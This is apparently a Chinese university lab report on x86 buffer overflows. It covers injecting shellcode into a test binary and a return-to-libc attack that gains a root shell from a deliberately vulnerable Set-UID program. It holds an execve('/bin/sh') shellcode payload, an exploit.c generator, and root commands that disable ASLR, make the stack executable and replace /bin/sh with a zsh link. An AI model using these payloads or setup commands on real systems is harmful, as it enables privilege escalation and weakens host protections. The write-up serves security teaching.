20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验

注入shellcode

实验步骤

1. 准备一段Shellcode

2. 设置环境

Bof攻击防御技术

  • 从防止注入的角度来看:在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
  • GCC中的编译器有堆栈保护技术(结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。)
  • 此时就需要手动设置环境,具体在终端中输入如下:
root@KaliYL:~# execstack -s pwnyx    //设置堆栈可执行
root@KaliYL:~# execstack -q pwnyx //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0

3. 构造要注入的payload

  • 在终端中输入如下:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

  • 打开一个终端注入这段攻击buf:

  • 再开另外一个终端,用gdb来调试pwnyx这个进程,找到pwnyx的进程号是:3195

  • 启动gdb调试这个进程,

  • 通过设置断点,来查看注入buf的内存地址

  • 此时在gdb中输入break *0x080484ae,并且在另外一个终端中按下回车

  • 通过如下方式寻找需要输入的地址:

看到01020304了,就表明了这是返回地址的位置,也就是说0Xffffd34c是此时的位置。shellcode就紧紧的挨着这个地址,所以要输入地址是0xffffd350
  • 回到另一个终端,将input_shellcode修改如下:
perl -e 'print "A" x 32;print "\x50\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 最终成功,如下图:

Return-to-libc 攻击实验

实验准备

  • 本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。
  • 输入命令安装一些用于编译 32 位 C 程序的东西:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev



前两个安装指令都能成功安装,第三个安装指令执行时,提示**Package 'lib32readline-gplv2-dev' has no installation candidate没有安装备项**的问题,我先忽略了这个问题继续做了下去,之后并没有出现状况。看来不是必须要安装的。在实验结束后,我上网查了这个问题并找到解决方法如下:
# apt-get update
# apt-get upgrade
# apt-get install <packagename>
不过需要额外1.5G的空间,装不装就随意啦
  • 输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash:

实验步骤

1. 初始设置

  • Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0

  • 使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit

为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多 shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,

2. 漏洞程序

  • 创建“retlib.c”文件,代码如下:
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
  • 编译该程序,并设置 SET-UID。命令如下:
sudo su
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c
chmod u+s retlib
exit

上述程序有一个缓冲区溢出漏洞,它先从一个叫“badfile”的文件里把 40 字节的数据读取到 12 字节的 buffer,引起溢出。fread()函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做“badfile”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 root shell 。
  • 需要用到一个读取环境变量的程序:getenvaddr.c,代码如下

include <stdio.h>
include <stdlib.h>
include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
  • 编译一下: gcc -m32 -o getenvaddr getenvaddr.c

3. 攻击程序

  • 创建“exploit.c”文件,代码如下:
include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
/*
代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址,需要我们接下来获取。
*/

4. 获取内存地址

  • 用刚才的 getenvaddr 程序获得 BIN_SH 地址:

root@KaliYL:~# export BIN_SH="/bin/sh"设置环境变量
0xffffde31就是BIN_SH 地址
  • gdb 设置断点

  • gdb 获得 system 和 exit 地址:

  • 修改 exploit.c 文件,填上刚才找到的内存地址:

  • 删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c:

5. 攻击

  • 先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限:

运行攻击程序,生成badfile文件,运行漏洞程序,获得root权限,可见攻击成功

20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验的更多相关文章

  1. 20155334 网络对抗PC平台逆向破解(二)

    注入Shellcode并运行攻击 shellcode就是一段机器指令(code) 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe) ...

  2. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  3. 20145240《网络对抗》PC平台逆向破解_advanced

    PC平台逆向破解_advanced shellcode注入 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是 ...

  4. 20145218张晓涵 PC平台逆向破解_advanced

    ---恢复内容开始--- 20145218张晓涵 PC平台逆向破解_advanced shellcode注入 基础知识 shellcode就是在利用溢出攻击溢出时要值入的代码,也就是溢出后去执行的代码 ...

  5. 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验

    20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...

  6. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  7. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  8. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  9. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

随机推荐

  1. mysql show processlist 命令检查mysql lock

    processlist命令的输出结果显示了有哪些线程在运行,可以帮助识别出有问题的查询语句,两种方式使用这个命令. 1. 进入mysql/bin目录下输入mysqladmin processlist; ...

  2. 进程防结束之PS_CROSS_THREAD_FLAGS_SYSTEM

    有人投到黑防去了,不过黑防不厚道,竟然没给完整的代码,自己整理一份备用吧,驱网.DebugMan.邪八的那群人直接飘过吧. 这种方法的关键在于给线程的ETHREAD.CrossThreadFlags设 ...

  3. 三、微信小游戏开发 --- 小游戏API调用Platform

    微信小游戏API Platform主要是Egret用于来调用平台的SDK的. 在Egret中使用接口定义Platform. Egret项目中默认的platform值是DebugPlatform. 发布 ...

  4. {sharepoint} More on SharePoint 2010 Application Pools

    More on SharePoint 2010 Application Pools Print | posted on Friday, December 04, 2009 3:26 PM Blimey ...

  5. log4net类库配置、WebService配置

    一.类库配置 结构如下图 1.LogUtility类 public class LogUtility { private static readonly log4net.ILog log = log4 ...

  6. Oracle入门笔记 ——启动

    参考教材<深入浅出Oracle> 兴趣 + 勤奋 + 坚持 + 方法 ≍ 成功 DBA生存之四大守则 1.备份重于一切: 2.三思而后行: 3.rm是危险的: 4.你来制定规范: 第一章: ...

  7. csrf_token之全局认证与局部认证

    1.settings.py没有注释到csrf.当post请求的方式会报错. 接下来就解决问题! 1. django中间件 最多5个 - process_request 请求 - process_vie ...

  8. Javaweb程序打包或exe执行文件

    java程序的打包与发布 这里主要是讲解一下怎样将 Java程序打包成独立运行的exe程序包,以下这种方法应该是最佳的解决方案了.NetDuke的EXE程序包了是使用这种方案制作的.在操作步骤上还是比 ...

  9. 【node】------node连接mongodb操作数据库------【巷子】

    1.下载第三方模块mongodb cnpm install mongodb --save 2.检测是否连接成功 1.引入第三方模块mongodb并创建一个客户端 const MongoClient = ...

  10. Qt::QWindow多窗口争抢置顶状态解决方案

    有时候我们会有这种需求,自己的桌面程序需要置顶,但是程序包含了很多窗口,可能我们要求窗口1,2都在其它桌面程序之上,但是窗口1必须随时在窗口2之上. Qt提供的置顶方式是在windowsflags上增 ...